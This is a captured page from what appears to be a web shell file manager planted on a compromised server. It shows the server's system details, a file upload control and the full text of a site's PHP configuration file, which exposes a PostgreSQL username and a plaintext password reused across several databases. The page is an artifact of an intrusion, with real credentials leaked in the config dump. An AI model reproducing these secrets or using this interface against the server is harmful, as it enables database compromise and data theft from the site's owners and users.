@Ghazascanner
_2019runbot
Ghazascanner File Manager
server :Linux www.thesweb.ru 4.19.0-22-amd64 #1 SMP Debian 4.19.260-1 (2022-09-29) x86_64
Current Path :
/
var
/
www
/
www-root
/
data
/
www
/
new.labinform.ru
/
lii_args
/
Path :
Upload File :
New :
File
Dir
/var/www/www-root/data/www/new.labinform.ru/lii_args/config.php
<?PHP include_once('commonf.php'); $myServer = "localhost"; $db = "LII_ARGS_20240123"; $uid = "postgres"; $pwd = "y3mvy2kwC1"; $proj_name = 'LII_ARGS'; $revrybld2file = __DIR__ . '/revrybld/revrybld2'; $lstbldfile = __DIR__ . '/btr/btr_postgres_cns'; $lstblddir = __DIR__ . '/lsts'; $jsonbldfile = 'python3 ' . __DIR__ . '/export/export_thes2json.py '; $lstcode = '';//'E:\\usr\\local\\www\\labinform\\sci_thes\\btr\\codeb.bat'; $copyThesInst = Array( #Array("name" => 'SCI_THES', "srv" => "localhost", "db" => "SCI_THES_20201121", "login" => "postgres", "pass" => "y3mvy2kwC1"), #Array("name" => 'IPW_THES', "srv" => "localhost", "db" => "IPW_THES_20221002", "login" => "postgres", "pass" => "y3mvy2kwC1"), #Array("name" => 'SEC_THES', "srv" => "localhost", "db" => "SEC_THES_20211023", "login" => "postgres", "pass" => "y3mvy2kwC1") ); ob_start(); session_start(); define("LoginURI", 'dbobj_login_' . $myServer . '\\' . $db, false); if (!isset($_SESSION[LoginURI])) $_SESSION[LoginURI] = array(); $_SESSION[LoginURI]['version'] = 20220819; //print_r($_SESSION); if ((isset($_SESSION[LoginURI]['valid_thes'])) && ($_SESSION[LoginURI]['valid_thes'] === true)) { $usr_id = $_SESSION[LoginURI]['usr_id']; $usr_name = $_SESSION[LoginURI]['username']; $ssid = $_SESSION[LoginURI]['ssid']; $isadm = ($_SESSION[LoginURI]['usertypeid'] == 10); //echo($usr_id); } else { $usr_id = -1; $usr_name = ''; $ss_id = 0; $isadm = 0; unset($usr_id); unset($ss_id); } $start_page = '/'; $connect_string = "host=$myServer port=5432 dbname=$db user=$uid password=$pwd"; $conn = pg_connect($connect_string); if( $conn === false ) { echo "Unable to connect.</br>"; die( print_r( pg_errors(), true)); } ?>